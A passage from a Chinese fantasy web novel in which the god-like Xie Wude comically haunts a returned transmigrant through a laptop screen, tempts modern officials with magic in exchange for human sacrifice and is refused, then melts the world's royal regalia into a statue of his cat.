有什么重要的奏事就直接丢到这个箱子里,到时候会直接传到谢吾德的身边。 谢吾德要是有回复的话,也会通过这个箱子丢回来。 她看了一眼,箱子里还是什么消息都没有。 也不知道谢吾德有没有看到她的这条消息。 林耀祖想,她原本以为谢吾德对胡增鑫完全不感兴趣,所以她才那么干脆利落地把胡增鑫给送了回去。 林耀祖虽然不觉得“死道友不死贫道”这种事情是对的,但是她不想招惹谢吾德,现在也不是时候。 林耀祖又想到自己碰见的一些小孩。 明明他们也一点不想玩玩具,而且玩具摆在那里已经变得碍事了,主动给他们玩,他们都会推开,但是一旦要拿走,他们就哼哼唧唧着要拿回自己的玩具一样。 男人未必适配儿童心理学,但是谢吾德的一些表现和小孩子完全没有区别。 安全局看着手里的消息,他的同事问他:“怎么样?有消息了吗?” “没有,还是不能百分之百确定,但是大概率还是和谢吾德相关。” “哦……那他总不能真的是来吓人玩的吧?我怎么觉得他其实应该是为了来入侵我们这个世界做准备的。” “不都说他如果想做的话,早就做了。为什么还要等着胡增鑫回来?之前林耀祖也不是没有回来过。”同事沉痛摇头。 被反驳的人倒也不恼,他也是没招了,所以才问出这样的问题。 他们这些提前做规划的人,多少都要有一点悲观主义,把事情往最糟糕的地方去想,这样才不会被意外打得措手不及. “这附近有好几个监控,我们会持续关注着您的房间,如果有什么情况的话,可以从监控中看到,到时候直接过来帮助你。”工作人员给胡增鑫展示着四周明晃晃的摄像头,“外面也会有人时刻警戒着,有什么情况会立刻通知其他人。” 胡增鑫现在既害怕有人突然出现,又担心其他人离开之后,那些奇怪的东西又肆无忌惮地缠上来。 “先生,你还有什么要求吗?”工作人员态度颇为和善地问。 “没有了,有一台电脑就足够了。”胡增鑫深吸了一口气,准备通过这种方式让自己平静下来,不要再去想这些事情了。 他能够感觉到自己的状态不对。 再想下去他就要疯了。 他打开了电视,准备找一个电影看看,分散他的注意力,让自己放松下来。 这是一部冒着粉红色气息的恋爱片子。 胡增鑫原本并不爱看这样的电影的,不过现在也只有这样的电影才能够让他觉得安心。 黑暗中,男主的手冲着女主伸了过去,现在从女主的角度拍摄的,所以男主的手就好像从屏幕里伸了出来一样。 ……伸了出来?! 胡增鑫瞪大了眼睛,看着那只从屏幕中伸出来的手。 然后那只手摁在了床上。 一个人从电视机中缓缓地爬出。 谢吾德披头散发,他是自来卷,所以稍微揉一下自己的头发,就能够造成十分凌乱的视觉效果。 谢吾德扯着嗓子喊:“我死得——好惨啊!” 亚夏和温特都不想说话,他们嫌谢吾德实在是太丢人了。 监控视频中的人也看到了这一幕。胡增鑫连滚带爬地往后面走。 谢吾德试着把头从屏幕中伸出来,可是伸到一半,他发现自己的肩膀卡住了。 胡增鑫是用电脑看的电影,电脑的屏幕也就那么大,所以谢吾德华丽丽地卡住了。 谢吾德毕竟成年身高有一米九,商场的那些看身材能不能钻过去的游戏,到了最后几关,他直接把头放在缝里,他的头都能卡住。 如果不是气质乍一看上去比较高冷,以他的身高和体型来看也算是半个大只佬了。 肌肉不明显但是不是没肌肉,就算不用法术也能把绝大多数人打哭的含金量就来自于肌肉。 他又不是贞子是个女性或者双性。 谢吾德如果想的话还是能强行钻过去的,不过他的脑子里还是留下了人类时代的烙印,他怕自己被卡住,所以习惯性地在卡住的时候就往后推。 胡增鑫吓得屁滚尿流,没有注意到谢吾德尴尬把头从屏幕中收了回去,然后重新伸出手,扯住了胡增鑫的被子,把他往自己的方向拉。 如果胡增鑫看到这过分现实的一幕,他的恐惧能消去大半。 一边扯,他还一边压低声音,用着有点幽森的声音说:“让我带你走吧,让我带你走吧。” 谢吾德控制着自己的嘴角,不行,还不能笑。 他压抑着自己的笑声,声音变得更恐怖了:“小胡啊~小胡啊~跟我走吧~” 胡增鑫的尖叫又高了八个度。 门外的人倒是想要第一时间冲进来,奈何谢吾德直接隔空把门锁上了,所以他们需要一点时间来开门。 当谢吾德快要把胡增鑫的脑袋扯得露出来的时候,门外的人把门给拆了,直接闯了进来,谢吾德暂时松了手,放他一马。 人多了就没那个气氛了。 不然他还想让胡增鑫体验一下他这个男鬼非常没有鬼德地破掉被子结界呢。 这个世界没有《午夜凶铃》,所以没有从电视机里爬出来的电影剧情。 现实世界的人如果亲眼看到这一幕都会吓得惊声尖叫,更别提从来都没有这种桥段的人了,他们受到的震惊完全是翻了几番。 胡增鑫估计现在已经患上了电子屏幕恐惧症了。 【戒网瘾学校在胡增鑫看来都不如你恐怖。】温特在一旁说,【也就是胡增鑫没有用手机看电影,他要是用手机看电影的话,估计你也就能够伸出一只手。】 亚夏抱紧了自己的手机。 不要讲这么恐怖的事情。 在亚夏的世界里,人类社会早就可以抛弃这些电子设备了,但是亚夏出于怀旧的原因,还是继续用着这些东西。 他可不希望自己最爱的手机宝贝遭了殃。 主要是他得防着谢吾德为了烦他,直接用手挡着屏幕,不让亚夏玩手机。 不过这话他不能说出来提醒谢吾德,他只是说:【对啊,你要是被手机卡住了,是不是还要我们给你打119救你出来?】. 一群人又出现在胡增鑫的病房里了。 幸亏这次其他人来得足够快,胡增鑫倒也没被吓出事来。 大家看着那个电脑屏幕。他们请来的专家如获至宝地抱着那个笔记本电脑,眼里散发着诡异的光。 他那小心翼翼的姿态,就像是偷到了内裤的变态一样,让人看着都害怕。 谢吾德要是现在注意到他,大概会瞬间把这电脑从他手里夺走。 谢吾德到底是怎么从这个屏幕里钻出来的? 不过话说回来,胡增鑫没有注意到谢吾德尴尬地从屏幕中退出一点,重新伸出手去抓他的一幕,但是他们这些人可是清清楚楚地看到了。 谢吾德尴尬,但是他们并没有为谢吾德感到尴尬,他们在想屏幕尺寸会阻止他从屏幕里钻出来吗? 幸亏是电脑屏幕,而不是电视机屏幕,不然谢吾德整个人都能从里面爬出来。 “谢吾德是什么情况?他怎么披头散发的?” “难道说这真的是谢吾德的冤魂?”说出这话的人在说完之后都要把自己逗笑了。 谢吾德的冤魂? 这是在讲哪门子的笑话? 虽然场景看上去像是在闹鬼,但是稍微想一下就会知道,就会想以谢吾德的能力,他是不可能被人杀死的,还冤魂,他才是那个制造冤魂的家伙吧? 既然没死,又怎么可能会有冤魂索命啊? 所以谢吾德真的是在吓唬人。 那些人就当着胡增鑫的面这么说。 人们去玩鬼屋,能在出来的那一刻如释重负,就是因为知道鬼屋是假的。 胡增鑫的身体也稍微放松了一点,不过肉眼可见,他还是非常紧张。 他们看到之前被他们请过来的专家正对着天花板上的吊灯看。 他们那边问道:“您是有什么发现吗?” 难道上面有谢吾德留下的痕迹? 每个人都看着那盏灯。 “嗯,我就是在想,屏幕其实也是一种灯泡。如果谢吾德能够从屏幕里钻出来的话,他是不是也能够从灯管里钻出来?” 胡增鑫又猛地一个颤抖。 其他人都用无语的眼神看着这个专家。 真是哪壶不开提哪壶,在这种时候提出这么惊悚的假设干什么? 真要把人给吓死吗? 专家愣了一下,才反应过来,这话在胡增鑫耳朵里听起来怪吓人的。 他觉得这也不能怪他,刚刚他太沉迷于思考了,根本就忘记了现在是什么场景。 而且哪个专业人员不想面对这种诡异的事件时,问一句“这是怎么个原理”呢? 第115章 大家不跟沉迷研究的呆子计较。 胡增鑫也许在意,但是大家来是解决他的问题,他要是较真,多少有点不识好歹,而且他就算闹其他人未必会认真对待他的意见。 在这种时候配合才能够得到最好的待遇。 一群人讨论来讨论去,最后把胡增鑫放到了一个纯白并且没有软垫的房间里。这里像是为精神病人准备的,防止他们伤害自己。 胡增鑫觉得自己进入这个房间之后感觉更不对,就好像自己有问题一样。 亚夏发出啧啧的声音:【你看看你,这样搞得就像是在上演《死神来了》一样。】 有一部《死神来了》的女主角就是待在这样的屋子里,活到了下一部电影的时候。 谢吾德跟他们说:【死神还没来呢。】 而且死神哪有谢吾德的性格恶劣,死神做事还是挺善良的。 说的就是温特。 “这样就没问题了吗?”胡增鑫看着周围的环境,想要从其他人那里得到一些保证。 “我们不能给你绝对肯定的回答,这样对我们彼此都不负责,我们只能保证尽我们最大的力量保护你。”回答胡增鑫的人说话十分谨慎,甚至态度中隐隐地带着几分尊重。 这并不是对胡增鑫的尊重,而是对谢吾德的尊重。 这也是当时他们商量好的。 他们猜测谢吾德可能并没有离开,还在这附近听着,因此无论如何都不能够激怒谢吾德。 这种暗搓搓在一旁偷窥的行为稍微有点丢人,但是众所周知,人在干坏事的时候,不仅不累,还不会觉得没面子。 谢吾德缺德归缺德,但是不能否定他的力量。 一个人只要够强,无论如何,其他人都要给几分面子。 胡增鑫忍不住哭了出来:“为什么是我?为什么是我?之前我在被琅琊王氏关着的时候,没人来找我。我都好不容易回来了,他却找上了我。是因为我没有帮助他?可是他在皇宫里也从来不出来,我又怎么接近他?还有,我穿越是不是都是因为他?我是不是因为他才穿越的?” 谢吾德当然一直都在,所以他也听到了胡增鑫的声音。 他对胡增鑫说的前半句话嗤之以鼻——什么叫“他在皇宫里也从来不出来”? 他被流放出去的时候不就不在皇宫里吗?也没见他找人向自己献媚。 纯属是胡增鑫想要推卸自己的责任。 千错万错,反正胡增鑫他自己一点错都没有。 但是在听到胡增鑫最后一句话的时候,谢吾德却非常想要看看亚夏的表情。 这件事情不是谢吾德做的,是亚夏做的。 硬要说的话,都是亚夏的错。 亚夏不说话,纯当自己没有听到。 虽然这是一个低维而且他可以控制回档的世界,但是他选人的时候也尽量遵循人道的原则。 在设定之初,胡增鑫就是一个“不会拒绝穿越”的人。 如果顺风顺水的话,胡增鑫绝对不会后悔穿越了。 这可不是亚夏的主观判断,而是从一开始就有的设定。 即使认为这个世界是虚假的,他也不打算弄出一堆令人胃疼的剧情。 看漫画看到三角恋的时候,他这个纯爱党都会胃疼半天,他不喜欢这样的剧情。 穿越的人至少要相对自愿。 再说了,亚夏自己就是忽然有一天,他作为法网的一面忽然激活,然后他消失在了原本的世界,一觉醒来就跟穿越了一样,全家都埋土里了十万年。 最会被扎到心的分明是他自己。 谢吾德其实也是知道这一点的。 他别的不相信,还能不相信亚夏的人品吗? 谢吾德没打算继续听胡增鑫胡说下去了。他鼓起了掌,然后逐渐地增加起了自己的存在感。他微笑着看着眼前的人说道:“你们好啊,我是谢吾德。我现在是在有点听不下去。” 谢吾德和亚夏之间的关系非常之微妙,有时候他们不像是自己和自己,而像是敌人,但是再怎么样,谢吾德也不允许其他人污蔑自己。 自己只有自己能欺负,别人算是怎么个回事? 胡增鑫惊恐地看着谢吾德,不敢相信他竟然真的出现了。 工作人员对于谢吾德的出现倒是很平静。“晚上好,先生。” 其实现在已经是清晨了,只是外面的天还是黑的。 谢吾德嗯了一声。这其实也算是这群人的一个试探。 喊“先生”,而不是“陛下”吗? 不过这种试探倒也无所谓,他们大概只有喊“主人”谢吾德才会表现出一点异样。 谢吾德看着这些人。 这些人非常坦然地看着谢吾德,可是胡增鑫不敢看谢吾德,当时他只是顺着自己的情绪说,情绪崩溃之下他什么都说出来了,可是谢吾德的人都站在这里了,他就感觉自己像是被破了一盆冷水一样瞬间清醒了。 他还是有点心虚的。 当时他在二皇子手下的时候可不算特别想家,他想的是大丈夫生于天地之间,自然要做出一番事业,觉得自己只要能够成功,家里人也是可以接受他的消失的。 “方便让我们单独谈谈吗?”这群人伸出手向屋外指去,让谢吾德和他们单独聊聊。 “不。”谢吾德看了胡增鑫一眼,又看了看这群家伙。虽然这个房间是给胡增鑫准备的,但是为什么要他出去呢? 那群人瞬间懂了。 年纪比较大的捅了捅年轻人,好像是在训斥他一样说道:“唉,小李,你说的这是什么话?当然是要胡先生先出去了。想来胡先生也不会介意的吧?” 胡增鑫忙不迭地点头,如果之前不是不敢轻举妄动的话,他早就跑了。 现在他腰不酸了,腿不疼了,拔腿就能跑出好远。 这些人看着胡增鑫的样子,觉得他要是去参加那些世界级的运动奖项,恐怕还真能得个奖。 “先生是有事想要相谈吗?”说话的人脸上带着一点笑意,态度平和有礼。 谢吾德认真地想了想,然后又想了想,露出了一个相当灿烂的笑容:“没有呢。你们身上并没有任何可以让我图谋的东西。就像你们之前看到的,我出现在这里就是为了吓一吓这个家伙。” 谢吾德非常坦然地说着听起来有点人渣的话。 “他如果不跑的话,我可能还想不起来他这个人,但是他一跑之后,我就觉得他十分有趣。这都是林耀祖的错。” 谢吾德怪天怪地,就是不怪谢吾德他自己。 做这些事情的时候,他半点心理负担都没有。 从某种角度上来说他和胡增鑫一样,但是胡增鑫什么档次配和他坐一桌? “您还是一个很活泼的人呢。”那边笑着看着谢吾德说。 “希望我砍下你的头的时候,你也会这么说。”谢吾德笑着说出十分恐怖的话。 那个人只是眨了一下眼,谢吾德也没动。 整个房间寂静无声。 谢吾德撇撇嘴说道:“我还以为会有人冲过来,或者我头上会出现激光点。” 结果这群人这么冷静。 那谢吾德就没有做其他事情的想法了。 这也是在他们的预料之中。 他们构建了一套完整的应对方案,知道谢吾德是那种别人越排斥他,他就越来劲的类型。 就跟猫一样,越是看到猎物挣扎他就越兴奋。 反而一动不动他就懒得搭理了。 “怎么会呢?这不是我们面对谈判对象时会做的事情。” 那边表现出来的态度相当热情。他们跟谢吾德说:“您很受欢迎。” 谢吾德非常坦然地接受了这句恭维。“确实。” “我们中很多人都是看着您的直播长大的。”这话说的听起来有一点点怪,不过谢吾德还算是能够接受。 “你们的表现也算不错,像是那个林耀祖,我就很喜欢她的性格。”既然对方愿意吹捧,谢吾德也愿意商业互吹回去。 他心情好就愿意配合做些这样的事情、 “陛下应该也知道,我们这个世界其实相对来说还算富足。人在富足之后,总是会想一些其他的事情,就比如生存的意义啊之类的。” “哦,这个我听说过,”谢吾德说道,“比如说,我是谁?我从哪里来?又要到哪里去?” 那些人有些意外地看着谢吾德,没想到他也有这样的哲学思考。 “这都不是我想到的,是以前听人说的。”谢吾德诚实地说道。 亚夏会思考这个问题,他不会。 他一直都在。 “不过您既然都说起了这个话题,我们也有一些事情想要向您请教。”那个人的神情微微严肃了起来。 谢吾德垂眸,看着这个人。 这些人开口问他:“请问我们的这个世界算什么呢?” 谢吾德的微笑扩大。 不管现实还是虚拟,聪明人永远是聪明人,他们恐怕已经感觉到了什么。 在人类的世界是不存在绝对的真理的,人类只有一步步向真理靠近,而不是完全触碰真理。 但是以人类现在的科技水平,也能够推测出时间穿越是一件难度多么大的事情,虽然不敢说时间就百分之百不允许后退,但是首先还是用已知信息去推断,而不是增加不必要的假设。 就算事实不是这样的,那这也可以算是一种试探。 “这个世界是一个游戏。”谢吾德直说了。 那些人的脸色终于一变。 这话听上去像是一种夸张的比喻,但是他们是十分认真地对待这句话的。 “一个游戏?”那边重复了一遍。 “是的,就是游戏。一个非自然诞生,从头到尾都是由人设计出来的游戏,供我玩乐的游戏。”谢吾德欣赏着对方不可思议的表情说道,“你们怎么看这件事情呢?” 在直播里直接和所有人说没意思。 很多人在知道了真相之后,要么是极度崇拜谢吾德,要么就是会试图反咬谢吾德一口。 结局太过于清晰了。 亚夏都无语了:【怎么谢吾德这话说得就像是把我当成了幕后反派一样。】 【你这样还不算是反派吗?】温特沉痛地提问。 严格的来说,亚夏的这些行为很难过伦理审查,他是纯粹被谢吾德折磨到没招了。 要是有人跟亚夏说他要以死谢罪亚夏自己都得点头。 可惜他死不掉。 如果这个世界的人有什么集体意识之类的东西,温特都允许那个存在发帖来一句“我爸把我们生出来就是为了给人玩的”。 那边的人不知道谢吾德脑海中的声音,他们只是有点谨慎地说道:“您说……您就是这个世界的创造者?” 对于谢吾德说的其他的话,他们倒是不怀疑,但是对于这句话,他们倒是有点怀疑了起来。 尤为怀疑的是在场的专家。 他看过谢吾德直播的,甚至是从学生时代就看着林耀祖的直播,他完全清楚谢吾德是个什么样的人。 此人十分的没有耐心,而创造世界绝对是一个十分复杂的东西。从各种常数到规则的制定,哪怕有着真实的世界作为模板,那也不是可以轻易创造出来的。 他们这个世界哪怕再过一百年,恐怕也没办法开发出这样的技术。 这还是群体的力量。 “也不算是吧。”谢吾德没有给出一个明确的答案,就跟个谜语人一样。幸亏这里没有人喊出“谜语人滚出哥谭”。 那些人先是一愣,又忽然想起了另外一件事情,关于系统的问题。 林耀祖的系统从哪来的? 如果将穿越和系统看作是一个单纯的设定的话,那这都是无需思考的问题,作者写什么就是什么。 但是这是一个真实世界,而且他们很难相信像系统这种符合他们文化和需求的东西是能够自然而然地出现的。 如果不是谢吾德,那恐怕就是“太子”了。 谢吾德可能有其他的状态。 他们之前在直播中都见过。 其他的“谢吾德”可要比谢吾德看上去善良得多。 ……从某种角度来说也更可怕。 谢吾德拥有力量,但是其他状态的他除了力量可能还有耐心和知识。 “那么您跟我说这个是想要?”说话的人有点疑惑地问道。 谢吾德不是有问必答的人,而且他懒得社交,和陌生人的话向来不多。 只要他开口说话了,那肯定是有自己的什么想法了。 他说这句话是希望他们这些现代人也参与到古代的战争中? 好像这种发展也挺有意思的。 对现代人来说这也是一件有利可图的事情。 那个人想了一下。 虽然他们参与到古代世界冲突中就意味着有可能会和谢吾德爆发冲突,但是一旦获胜,他们获得的却是一整个世界的资源。 如果这件事情被其他人知道了,那些人还不知道要为此多么疯狂。 自古财帛动人心,即使到了现代,这一点其实也并没有发生任何的改变。 “我只是想要看看你们都会有什么样的反应。除此之外,你们没有任何值得我图谋的东西。也许信仰算是一个吧,但是这种东西对我来说也就是娱乐品,而不是必需品。”所以谢吾德看向了这些人。 他们的反应比信仰还有意思。 信仰不能吃不能用,大概只能给人类升维提供特殊的力量,可是谢吾德用不到这种东西。 谢吾德想了想,又说:“不如我们来玩一个游戏吧。” 谢吾德做的很多事情都并不超出他们的预料,但是正因为全部都得到了肯定,反而让其他人的思考变得缓慢了起来。 “我从来不想我的目的,不如说说你们的目的是什么吧。”谢吾德饶有兴趣地看着这些人,“你们见到了我,然后呢?想要从我身上得到什么?得到这个世界的真相,还是所谓法术的力量?你们又愿意为此付出什么样的代价呢?” 谢吾德坐在那里,就好像诱惑人类和他签订契约的恶魔一样。 【看他们的样子,恐怕他们还想要得到另外一个世界。】温特在一旁说道。 【他们是不是太贪婪了?】谢吾德吐槽道。 谢吾德一时半会没想到这件事情。 【有野心是好事。】亚夏从来不觉得这样有什么问题。 这群人不是真正的人类,但是他们是以真正的人类为模板而创造出来的生命。 一模一样。 那人陷入了思考中。 谢吾德不给选项,让他人自己说,但是要神恶魔才不会被谢吾德给拒绝。 “我看你们的样子,应该是已经决定彻底抛弃我了。不如这样,向我献上人类的生命,我就把法术赐予你们,如何?” 这个法术是这个世界的法术,是被亚夏掐断的,法网基本连接检查的是基因,这些生命和人类的基因相似,他们拥有的潜力也是巨大的。 虽然是亚夏掐网,但是谢吾德才是更接近法网的存在,所以只要他一挥手,他就能够解除掉这些限制。 “怎么样?”他微笑着看着眼前的年轻人。 “您说话是算数的吗?” “你都看了我那么多直播,怎么?对我的人品还不够相信吗?”谢吾德单手撑着下巴,“怎么样?向我献祭。这件事情你可以和你领导说一下,看看他们是如何决定的。” 谢吾德眉眼弯弯,眼睛笑得眯起来了,但是却遮住了他眼中的色彩。 绝大多数时候谢吾德都是开朗活泼的。他的脸上总是充满了笑容。 大家都知道谢吾德不可能是什么好人,但是大家都会被谢吾德那种快乐所感染,但是他现在沉下了眼睛,那种虚假的快乐被他自己撕扯下来。 他的底色是阴暗深沉的,是缺乏人性的,是冷漠的。 他最初的信徒决定了他的最初的底色,他乐于接受这种底色,并且在漫长时间里一直保持着这种姿态。 这种凝固的气氛让在场所有人都有了一种宛如窒息的感觉,他们像是被掐住了脖子一样。 谢吾德这次没在开玩笑。 法术? 法术可比另外一个世界要更有诱惑力。 谁不想要神奇的力量呢? “我不会和上级领导说这些事情的。”和谢吾德交谈的人在找会自己的声音和理智之后相当坚定地说道,“这件事情我会封存的,不,我甚至都不会留下任何纸质的记录。” “唉?为什么?这样不合规矩吧,而且你自己独断专行真的好吗?”谢吾德也不知道对方是什么职务,不过这次他说的不是一件小事,再大的权力也不能替一群人决定这件事。 “有些事情说出去,并不是寻求公平,而是在制造混乱。”那个人完全不被谢吾德的话影响,他停顿了一下,“而且我并不认为先生您会遵守自己的诺言。” 谢吾德是在制造混乱。 谢吾德鼓起一边的腮帮子:“为什么?我觉得我平时还是很遵守我的承诺呀。” “您遵守信用是因为遵守的那些事情都是您愿意的,但是实际上,您应该也不会被所谓轻飘飘的承诺给约束住。更何况您没那么好,也没那么坏。” 谢吾德饶有兴致地“哦”了一声,也不知道他是听懂了还是没听懂,但是亚夏却听懂了。 他哈哈大笑起来。 他笑是因为这群家伙的确很了解谢吾德,正如他们说的那样。 谢吾德是个邪神,但是他是被扭曲的亚夏。 在不涉及到为神的方向上,他和亚夏是一样的。 亚夏清楚,虽然历史有所不同,但是这个世界的现代社会是和他熟悉的那个现代社会共用近乎一套的社会体系。 这个世界的物资还没丰富到进入人人平等的状态,如果真的有人动了心思,想要追求长生和力量的话,那么献祭的肯定是那些最为普通不过的普通人了。 谢吾德愿意看到血流成河,但是却对由他之外的人决定绝大多数人的生死感到十分不满。 就像是他之前对付那些世家一样。 他对非自愿献祭毫无兴趣。 如果真的有大人物能够狠得下心来,向他献上血祭的话……那不好意思,谢吾德可没说献祭到什么程度才合适。 只要谢吾德不满意,就算先寄到这个世界只剩最后一个人,他都不会满意的。 被邪神诱惑而献祭掉其他人生命的人在谢吾德眼中也是毫无人权的。 在谢吾德眼中,生命并没有高低,没有说献祭掉别人的生命就能换取有利于自己的好处的事情。 谢吾德要是想要其他人的生命,他完全可以自己去拿,为什么还要中间商赚差价? 他有病吗? 从一开始,谢吾德的话就是一个天大的陷阱。 答应他的人什么都不会得到。 魔鬼还要遵守契约,谢吾德又不用。 他就是规则本身。《 》 115-120 第116章 谢吾德其实也根本就没把其他人的生命放在眼里,他也是一个很残忍的人。 只要把这件事情传出去,那肯定会有人为此而感到动心。 这个世界上总是不缺聪明人的,可是即使是大学教授,也可能会被拙劣的谎言所欺骗。 诈骗有时候不看智商的,反而是看有没有戳到一个人内心最大的需求。 这大概就是所谓的一个人一辈子都没有被骗,不一定是这个人聪明绝顶,而是这个人没有遇到适合他的骗局。 谢吾德在诱惑和诈骗方面的能力不及他的信徒一根小手指,但是即使是他这种本质不擅长交涉的人,在手握强大的力量的时候也有诈骗其他人的可能。 “你们居然这么了解我,就不担心我到时候通过直播的形式,让每一个人都知道这件事情吗?”谢吾德撇撇嘴。 这群人说得倒是果断,不过他们既然这么果断,谢吾德性格中恶劣的部分便显现了出来。 这么自信,一定是在挑衅他。 谢吾德不允许这个世界有除他之外的任何人有如此的自信。 双方四目相对,那个人看着谢吾德,谢吾德想要看对方还是梗着脖子不肯认输,然后被他一点点地碾碎自信,然后他就看到那个人低下头整理了一下自己的衣服,然后咳嗽了几声,好像切换了一下自己的状态一样,气场从不服输的倔强倏地一变,用轻柔中带着几分可怜的声音对谢吾德说道:“那我可以求您不要把这件事情告诉别人吗?求求您了。” 谢吾德:“……” 不是哥们? 不是这个剧本啊。 你之前那强硬的态度呢?坚贞不屈的节操呢? “求求您了”是什么鬼? 谢吾德的身体僵住了片刻。 他看着眼前的人,整个人都陷入了微妙的沉默中,为对方的脸皮厚度感到惊讶。 谢吾德思考方式跳脱,还不怎么在意别人的看番,但是他为人处世有点一板一眼的严肃感,没什么灵活性,讨厌或者说受不了对面的人装成一副楚楚可怜的样子,这会让他觉得自己浑身上下的鸡皮疙瘩都要炸了起来。 这显然是针对谢吾德的性格而设计的应对方式。 谢吾德忍不住嘀咕:【我当初是不是不应该同意那个直播?】 温特和亚夏笑个没完。 他们在那边露出这副表情的时候就知道谢吾德肯定会崩溃的。 这是真的吃透了谢吾德的性格了。 谢吾德心情好的时候,吃软不吃硬。 当一个之前表现得十分理性、理性中又带着强硬的人露出这样可怜的表情,这种巨大的反差足够把谢吾德打个措手不及。 这个人的反应在谢吾德的预料之外,让谢吾德的思维停滞了片刻。 谢吾德估计,应该是之前余文彦在他面前装可怜说要求加薪的时候露出的那副可怜表情被这群人给学到了。 谢吾德受不了任何人装可怜,他觉得反胃——无论男女。 所以他倒吸了一口凉气就同意了,赶紧把余文彦打发走。 他嘀咕:“等我回去就扣小鱼儿的工资。” 没人替余文彦说话,这是真的得死道友不死贫道了。 总得有人倒霉吧。 “但是我可不能保证你们中不会有人把这件事情说出去。”谢吾德看了看在场的人,单独跟他谈话的也就三个人,两个大概是专门负责谈判的,而一个则是专家,不对这些事情负责。 “是的,剩下的就由我们人类自己来解决。”那个人看了看他的同事们,“这件事情,你们谁都不准说。” 在场的人都心情各异。 “那我们的汇报该怎么写?” “出了事,由我来担责。” 等他们抬头,他们的面前已经没有人了。 谢吾德消失在了这里。 和这些人谈了谈,但是没谈出结果,这也并不出乎他的预料。 眼前这个世界的背景设定类似真实现代社会,虽然历史有所不同,但是也算是有一些共通之处,这个国家在久经战乱之后终于下定决心要抛弃对谢吾德的信仰,作为信仰的最初发源地,他们对摒弃对谢吾德的信仰的意志要远超这个世界任何一个国家。 能够和谢吾德对话的没有傻子,他们有远超一般人的见识,在抛弃对谢吾德的信仰成为了他们这个时代的注定的事情之后,再敢做出这样的决定的人会被钉在历史耻辱柱上,对于一个看重历史的国家而言,这种事情是那种即使自诩什么都不在意的人都无法承受的。 除非谢吾德真的就这么直接公布这个决定,但是谢吾德的喋血观众属性还没高到那个份上。 肉眼可见的混乱趋向毫无意义。 他很欣赏这种会有理有据拒绝他的人。 他喜欢别人顺从他,可是顺从他的人太多了,他想要换换口味。 不过谢吾德觉得,如果有一天他们遇到了他们无法解决的困难,估计还会重拾他们对谢吾德的信仰。 困难的时候比起自救,果然还是期待一个救世主更为简单吧。 谢吾德有时间去等待一切可能. 谢吾德哼着不知道从哪里听来的小曲,把宝石挨个地扣下来。 “我就是世界之王!”谢吾德开心地坐在了一堆王冠之上。这些王冠或者近似王冠的东西,这便是他从世界各地收集来的象征着王权的东西。 大家都说说“普天之下,莫非王土。率土之滨,莫非王臣”,说的是皇帝拥有着世界至高无上的权力,但是只有弱智皇帝才会相信这都是绝对的,只要有这么一句话,大家都是皇帝的忠犬。 可事实是,这个世界总是不乏反叛的人。 他们只有在这个国家之内保有最大的权力,而这个理论上应该拥有天下的皇帝也经常会在对外征战的时候遇到不利 只有谢吾德才能够真真正正、彻彻底底地做到这句话。 或者说,他本就不是皇帝,他所代表的势力应该是纯粹的神权。 皇帝是天子,但是谢吾德更接近与“天”。 只不过一般掌握神权的人,要与这个世界保持一定的距离。 谢吾德和这个世界靠得太近了,可是却没有人有反抗谢吾德的心思,因为谢吾德和其他人力量差距大到让人会怀疑他们是不是同一种生物。 他通过自己与其他人之间的武力差距让其他人只能仰望他,用这种方式制造人与人之间的差距。 他是所有人眼中最高不可攀以及不敢冒犯的存在。 亚夏吐槽道:【现在你需要一个泰坦尼克号和一个萝丝。】 【哦?这是泰坦尼克号的台词吗?】谢吾德说道,【我怎么不记得了?】 【我刚查的。】亚夏也很诚实。 他见不得谢吾德在那自吹自擂,说自己是世界之王,但是亚夏也不在这件事情上反驳他,事实就是如此。 这个世界都交给谢吾德了,他想称王那就称王。 谢吾德把手里的权杖转了一圈,然后打到了余文彦的头。 余文彦一脸无语地回头看着他。 谢吾德现在按理来说也应该将近四十岁了,可是他一直都和稳重这个词扯不上半点关系。 余文彦现在已经五十多岁了。 现在他也算勉强称得上是荣国的老丞相了。 按理来说,这是一件好事,他在年纪和威望上都是最合适的阶段,每天都有不知道多少人想要攀上他的高枝。 余文彦现在基本可以确定自己会成为一个名流青史的丞相。 他之前也和林耀祖聊过,知道未来大概是什么样子。 他们会被历史记住,考试的时候试卷上也会问一句“荣武宗时期的丞相叫什么名字”。 可是余文彦知道自己这个丞相其实有那么一点点名不副实。 在谢吾德征服世界的这条路上,他并没有不可替代性,就算换个人在他这个位置,也不可能比他差太多。 不是说余文彦的能力不行,而是如果说他的能力是十,其他人才的能力是八,但是满足统治世界的能力要有一百。 九十和九十二之间的差距并不大。 一切的改变主要还是因为谢吾德,而不是他余文彦。 到了现在这一步,余文彦也已经变得心惊胆战了。 事情太多,他的能力也有限,他觉得就算自己每天不睡觉,也处理不完手头上的这些事情。 余文彦是一个颇为骄傲的人,虽然出身寒门,但是他总有一种不服输的精神,他觉得世家子弟能够做到的,他也能够做到。 可是在谢吾德身边,谢吾德有一只保持着傲慢的姿态,所以余文彦的脑子一直都很清醒。 他看到了自己再向前就是万丈深渊。 谢吾德冲着余文彦伸出手,让余文彦把东西递给他。 余文彦捡了起来,然后拿了一块干净的布擦了一擦,这才递还给谢吾德。 他都被谢吾德调教好了,知道谢吾德爱干净,不会碰别人碰过的东西。 余文彦看着谢吾德把这些象征着世界各地王权和神权的东西集中在一起,把那个权杖丢到中间,最后从这个代表着世界各地近乎最高工艺的财宝堆上跳下来。 火焰不知道从何燃起,但是因为焰色反应,所以看起来五光十色,热浪铺面而来,余文彦连连后退几步。 他看着以前那些被人触碰就要被掌权者杀死的东西燃烧凝固成了一团。 现在在场的不少官员都来自世界各地,他们看着眼前这一幕都攥紧了手,他们的脸憋得通红。 “既然我已经是这天下的主人了,那么这些东西就没必要存在了。”谢吾德把融化的金属液体塑造成了一只巨大的猫的雕像。 就是他养的那只白猫。 这操作莫名其妙,可是没人质疑谢吾德的操作。 下面的官员现在只有一小部分是世家出身,剩下的一大半都是那些百姓出身的官员,其中一部分还支持琅琊王氏所提出的自由平等思想的官员,剩下的是来自被谢吾德征服的土地上的人,而这些人基本都是谢吾德的疯狂崇拜者。 他们之前红了脸不是因为愤怒,而是一种极度兴奋。 他们对于自己国家的宝物被毁没有半点抗拒,他们满心满眼的全都是谢吾德,甚至他们比在场的荣国本土出身的官员还要支持这件事情。 这段时间他们也学习了荣国的一些常识,不然一些来自能歌善舞地区的人大概就要手舞足蹈来表示对谢吾德的尊崇了。 毕竟舞蹈除了求偶,一大重要的作用就是祭祀。 在他们看来,自己过去侍奉的那些东西已经是过去的了,而且象征着他们没有被谢吾德的光辉照耀的历史,他们信仰了错误的神明,侍奉了错误的君主。 